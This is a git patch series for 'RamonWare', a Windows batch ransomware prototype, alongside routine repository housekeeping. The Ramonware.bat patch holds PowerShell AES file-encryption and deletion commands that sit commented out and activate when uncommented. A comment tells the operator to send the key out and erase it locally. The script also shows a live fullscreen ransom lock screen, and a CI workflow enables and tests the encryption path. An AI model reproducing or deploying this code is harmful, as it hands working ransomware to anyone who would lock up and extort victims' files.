Date: Wed, 19 Aug 2026 16:57:01 +0200
Subject: [PATCH 16/24] Update config.yml

---
 .github/ISSUE_TEMPLATE/config.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml
index aa0286a..7f83253 100644
--- a/.github/ISSUE_TEMPLATE/config.yml
+++ b/.github/ISSUE_TEMPLATE/config.yml
@@ -1,5 +1,5 @@
 blank_issues_enabled: false
 contact_links:
   - name: Contact the developer
-    url: https://segocode.github.io/SegoCode/
+    url: https://{username}.github.io/{username}/
     about: To discuss any type of related topic

From 21d54a353265f3c3f81c33e009e7b20e132f5fe5 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:57:03 +0200
Subject: [PATCH 17/24] Update bug_report.yml

---
 .github/ISSUE_TEMPLATE/bug_report.yml | 21 ++++++++++++++-------
 1 file changed, 14 insertions(+), 7 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml
index 42a22f7..ff42086 100644
--- a/.github/ISSUE_TEMPLATE/bug_report.yml
+++ b/.github/ISSUE_TEMPLATE/bug_report.yml
@@ -42,13 +42,20 @@ body:
 
   - type: dropdown
     attributes:
-      label: SO version
+      label: Platform
+      description: Where does the issue occur?
       options:
-        - Windows 11
-        - Windows 10
-        - Windows 8
-        - Windows 7
-        - Debian
+        - Web — Chrome (Blink)
+        - Web — Firefox (Gecko)
+        - Web — Safari (WebKit)
+        - Web — Other
+        - Desktop — macOS
+        - Desktop — Windows
+        - Desktop — Linux
+        - Desktop — Other
+        - Mobile — iOS
+        - Mobile — Android
+        - Mobile — Other
         - Other
     validations:
       required: true
@@ -57,7 +64,7 @@ body:
     attributes:
       label: Confirmation 
       options:
-        - label: I performed a [search of the issue tracker](https://github.com/segocode/Ramonware/issues) to avoid opening a duplicate issue
+        - label: I performed a [search of the issue tracker](https://github.com/{username}/{reponame}/issues) to avoid opening a duplicate issue
           required: true
         - label: I understand that not filling out this template correctly may lead to the issue being closed
           required: true

From 0009c51a21c8cd1be7cdfd43340ff3c78c0e1ec2 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:57:12 +0200
Subject: [PATCH 18/24] Create CODE_OF_CONDUCT.md

---
 .github/CODE_OF_CONDUCT.md | 3 +++
 1 file changed, 3 insertions(+)
 create mode 100644 .github/CODE_OF_CONDUCT.md

diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md
new file mode 100644
index 0000000..e6bf153
--- /dev/null
+++ b/.github/CODE_OF_CONDUCT.md
@@ -0,0 +1,3 @@
+This project adheres to **No Code of Conduct**.  We are all adults.  We accept anyone's contributions.  Nothing else matters. 
+
+For more information please visit the [No Code of Conduct](https://github.com/domgetter/NCoC) homepage.

From 822b6d2851fe2fba16857748f0ddbe138ee56e6a Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 2 Sep 2026 09:25:24 +0200
Subject: [PATCH 19/24] Create LICENSE

---
 LICENSE | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)
 create mode 100644 LICENSE

diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..89c5218
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 SegoCode
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

From b8208953dac09eb8770833be387b7e15c83a5e6e Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 2 Sep 2026 15:15:52 +0200
Subject: [PATCH 20/24] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index ba51439..62f657d 100644
--- a/README.md
+++ b/README.md
@@ -17,7 +17,7 @@
 [![Bitcoin BTC](https://img.shields.io/badge/buy_me_a_coffee-BTC-F7931A?style=flat-square&logo=bitcoin&logoColor=white)](https://github.com/SegoCode/SegoCode/discussions/2)
 
 
-RamonWare is a Windows batch prototype of a ransomware incident. Shows a fullscreen lock screen (HTA). Encryption stays commented. The script does not encrypt or delete files unless you uncomment the PowerShell AES block.
+RamonWare is a Windows batch prototype of a ransomware incident. Shows a fullscreen lock screen (HTA). Encryption stays commented. The script does not encrypt or delete files unless you uncomment the PowerShell AES block. https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.bat.ramonware.thjoebc
 
 ## Features
 

From 6983a9bba649d3312fa491480b38cd8eada74edc Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 2 Sep 2026 15:41:16 +0200
Subject: [PATCH 21/24] Delete inventory.yml

---
 .github/workflows/inventory.yml | 49 ---------------------------------
 1 file changed, 49 deletions(-)
 delete mode 100644 .github/workflows/inventory.yml

diff --git a/.github/workflows/inventory.yml b/.github/workflows/inventory.yml
deleted file mode 100644
index 9ba609a..0000000
--- a/.github/workflows/inventory.yml
+++ /dev/null
@@ -1,49 +0,0 @@
-name: Inventory
-
-on:
-  push:
-    branches:
-      - '**'
-
-jobs:
-  detect:
-    runs-on: windows-latest
-    timeout-minutes: 5
-    steps:
-      - uses: actions/checkout@v7.0.1
-
-      - name: Create lab asset
-        run: Set-Content -Path C:\ramonware-ci.labasset -Value 'fixture'
-
-      - name: Run prototype and assert log
-        shell: pwsh
-        run: |
-          $marker = 'ramonware-ci.labasset'
-          $log = 'C:\Original.txt'
-          if (Test-Path $log) { Remove-Item $log -Force }
-
-          $p = Start-Process -FilePath $env:ComSpec -ArgumentList '/c', 'code\Ramonware.bat' -WorkingDirectory $env:GITHUB_WORKSPACE -PassThru
-
-          $found = $false
-          foreach ($i in 1..60) {
-            Start-Sleep -Seconds 2
-            if ((Test-Path $log) -and (Select-String -Path $log -Pattern $marker -SimpleMatch -Quiet -ErrorAction SilentlyContinue)) {
-              $found = $true
-              break
-            }
-          }
-
-          if ($p -and -not $p.HasExited) { taskkill /T /F /PID $p.Id 2>$null }
-          Get-Process mshta -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
-          Start-Sleep -Seconds 1
-
-          if (-not $found -and (Test-Path $log) -and (Select-String -Path $log -Pattern $marker -SimpleMatch -Quiet -ErrorAction SilentlyContinue)) {
-            $found = $true
-          }
-
-          if (-not $found) {
-            if (Test-Path $log) { Get-Content $log }
-            throw "Original.txt does not contain $marker"
-          }
-
-          Get-Content $log

From 19ecc462c5aa31a72bfdb2c5edc028332c0292ab Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 2 Sep 2026 15:41:18 +0200
Subject: [PATCH 22/24] Create verify.yml

---
 .github/workflows/verify.yml | 64 ++++++++++++++++++++++++++++++++++++
 1 file changed, 64 insertions(+)
 create mode 100644 .github/workflows/verify.yml

diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml
new file mode 100644
index 0000000..b512dcf
--- /dev/null
+++ b/.github/workflows/verify.yml
@@ -0,0 +1,64 @@
+name: Verify
+
+on:
+  push:
+    branches:
+      - '**'
+
+jobs:
+  roundtrip:
+    name: Encryption roundtrip
+    runs-on: windows-latest
+    timeout-minutes: 5
+    steps:
+      - uses: actions/checkout@v7.0.1
+
+      - name: Run prototype and assert encrypt roundtrip
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          $sandbox = Join-Path $env:RUNNER_TEMP 'ramonware-ci'
+          $probe = Join-Path $sandbox 'probe.txt'
+          $aes = "$probe.aes"
+          $log = 'C:\Original.txt'
+          $plain = [Text.Encoding]::UTF8.GetBytes('ramonware-integrity')
+          $pass = [guid]::NewGuid().ToString('N')
+
+          if (Test-Path $sandbox) { Remove-Item $sandbox -Recurse -Force }
+          New-Item -ItemType Directory -Path $sandbox -Force | Out-Null
+          [IO.File]::WriteAllBytes($probe, $plain)
+          if (Test-Path $log) { Remove-Item $log -Force }
+
+          function Replace-Exact($text, $old, $new, $expected = 1) {
+            $actual = [regex]::Matches($text, [regex]::Escape($old)).Count
+            if ($actual -ne $expected) {
+              throw "Expected $expected occurrence(s) of '$old', found $actual"
+            }
+            $text.Replace($old, $new)
+          }
+
+          $sourcePath = Join-Path $env:GITHUB_WORKSPACE 'code\Ramonware.bat'
+          $batPath = Join-Path $sandbox 'RamonWare-ci.bat'
+          $utf8 = New-Object Text.UTF8Encoding $false
+          $bat = [IO.File]::ReadAllText($sourcePath)
+          $bat = Replace-Exact $bat 'set ROOT_PATH=%homedrive%\' "set pass=$pass`r`nset ROOT_PATH=$sandbox"
+          $bat = Replace-Exact $bat '*.labasset' '*.txt'
+          $bat = Replace-Exact $bat 'REM powershell -NoProfile' 'powershell -NoProfile' 2
+          $bat = Replace-Exact $bat 'REM del "%%X"' 'del "%%X"'
+          $bat = Replace-Exact $bat 'cls' 'exit /b'
+          [IO.File]::WriteAllText($batPath, $bat, $utf8)
+
+          $process = Start-Process -FilePath $env:ComSpec -ArgumentList '/d', '/c', "`"$batPath`"" -Wait -PassThru
+          if ($process.ExitCode -ne 0) { throw "RamonWare-ci.bat exited with $($process.ExitCode)" }
+
+          if (-not (Test-Path $log) -or -not (Select-String -Path $log -Pattern 'probe.txt' -SimpleMatch -Quiet)) {
+            if (Test-Path $log) { Get-Content $log }
+            throw "Original.txt does not contain probe.txt"
+          }
+
+          if (-not (Test-Path $aes)) { throw "missing $aes" }
+
+          $restored = [IO.File]::ReadAllBytes($probe)
+          if ([Convert]::ToBase64String($plain) -ne [Convert]::ToBase64String($restored)) {
+            throw 'encrypt roundtrip failed'
+          }

From 17407a0f4b5292481ec00f1cbbf24519429bc2e3 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 2 Sep 2026 15:41:19 +0200
Subject: [PATCH 23/24] Update Ramonware.bat

---
 code/Ramonware.bat | 65 +++++++++++++++++++++++++---------------------
 1 file changed, 35 insertions(+), 30 deletions(-)

diff --git a/code/Ramonware.bat b/code/Ramonware.bat
index 210cca9..221a3ca 100644
--- a/code/Ramonware.bat
+++ b/code/Ramonware.bat
@@ -2,7 +2,7 @@
 @Echo OFF
 mode con:cols=50 lines=2
 
-Title Ramon Ware
+Title RamonWare
 
 echo Scanning. . . .
 
@@ -10,13 +10,11 @@ REM Scan only: list matching files. Nothing is encrypted or deleted.
 set ROOT_PATH=%homedrive%\
 FOR /R "%ROOT_PATH%" %%X in (*.labasset) DO (
     echo %%X >> %homedrive%\Original.txt
-    REM Encryption would happen here. Each listed file would be encrypted
-    REM and the original would be deleted, so the owner could not open it.
-    REM This step is not implemented: the script only finds files and logs them.
-    REM PowerShell AES (uncomment to activate). Encrypts the file; del removes the original.
-    REM The password should be generated on this machine, sent to a remote endpoint, then erased from the PC. It must not stay stored locally.
-    REM powershell -NoProfile -Command "function Protect-LabFile($Path,$Pass){ $aes=[Security.Cryptography.Aes]::Create(); $aes.Key=[Security.Cryptography.Rfc2898DeriveBytes]::new($Pass,[byte[]](1..16),10000).GetBytes(32); $aes.GenerateIV(); $b=[IO.File]::ReadAllBytes($Path); $c=$aes.CreateEncryptor().TransformFinalBlock($b,0,$b.Length); [IO.File]::WriteAllBytes($Path+'.aes',$aes.IV+$c) }; Protect-LabFile '%%X' '%pass%'"
+    REM Uncomment to AES-encrypt each file and delete the original.
+    REM Generate %pass% here, send it out, then erase it from this PC.
+    REM powershell -NoProfile -Command "$a=[Security.Cryptography.Aes]::Create(); $a.Key=[Security.Cryptography.SHA256]::Create().ComputeHash([Text.Encoding]::UTF8.GetBytes('%pass%')); $a.GenerateIV(); $b=[IO.File]::ReadAllBytes('%%X'); [IO.File]::WriteAllBytes('%%X.aes',$a.IV+$a.CreateEncryptor().TransformFinalBlock($b,0,$b.Length))"
     REM del "%%X"
+    REM powershell -NoProfile -Command "$a=[Security.Cryptography.Aes]::Create(); $a.Key=[Security.Cryptography.SHA256]::Create().ComputeHash([Text.Encoding]::UTF8.GetBytes('%pass%')); $d=[IO.File]::ReadAllBytes('%%X.aes'); $a.IV=[byte[]]($d[0..15]); [IO.File]::WriteAllBytes('%%X',$a.CreateDecryptor().TransformFinalBlock($d,16,$d.Length-16))"
 )
 
 cls
@@ -26,35 +24,42 @@ for /F "delims=" %%a in ('mshta.exe "%~F0"') do set "HTA=%%a"
 -->
 
 <html>
-    <head>
-        <title>RamonWare</title>
-    <hta:application id="lockScreen" 
-                     applicationname="RamonWare"  
-                     version="1.0" 
-                     maximizebutton="no" 
-                     minimizebutton="no" 
-                     sysmenu="no" 
-                     Caption="no" 
-                     windowstate="maximize"/> 
+<head>
+    <title>RamonWare</title>
+    <meta http-equiv="X-UA-Compatible" content="IE=9">
+    <hta:application id="ramonWare"
+                     applicationname="RamonWare"
+                     version="1.0"
+                     maximizebutton="no"
+                     minimizebutton="no"
+                     sysmenu="no"
+                     caption="no"
+                     windowstate="maximize"/>
     <style>
-        #ransomNote{
+        html, body {
+            margin: 0;
+            height: 100%;
+            overflow: hidden;
+            background: #8c1d1d;
+            color: #fff;
+            font: 16px "Lucida Console", monospace;
+        }
+        #title {
+            text-align: center;
+            letter-spacing: 1px;
+        }
+        #message {
             padding-top: 19%;
             letter-spacing: 1px;
             text-align: center;
         }
     </style>
 </head>
-<body bgcolor="#8c1d1d" scroll="no">
-    <font face="Lucida Console" size="4" color="white">
-<center><p> - RamonWare - </p></center>
-<div id="ransomNote">
-    Ooops, your files have been encrypted!<br>
-    <br><br>
-    Your important files are encrypted. Nobody can get back your files without our decryption service.<br>
-    <br><br>
-   Github.com/SegoCode<br>
-    <br><br><br>
-    <img id="lockIcon" alt="Lock" src="https://i.imgur.com/rytGPFG.png" height="130" width="100">
-</div>
+<body>
+    <p id="title"> - RamonWare - </p>
+    <div id="message">
+        Ooops, your files have been encrypted!<br><br><br>
+        Github.com/SegoCode<br>
+    </div>
 </body>
 </html>

From be556cc83a39831d121b4d75b3e0ac7ee17d14f3 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 2 Sep 2026 15:43:37 +0200
Subject: [PATCH 24/24] Create demo2.png

---
 assets/demo2.png | Bin 0 -> 40954 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 assets/demo2.png

diff --git a/assets/demo2.png b/assets/demo2.png
new file mode 100644
index 0000000000000000000000000000000000000000..deeb8b232e37e732a751af964a7fd59496296dfb
GIT binary patch
literal 40954
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
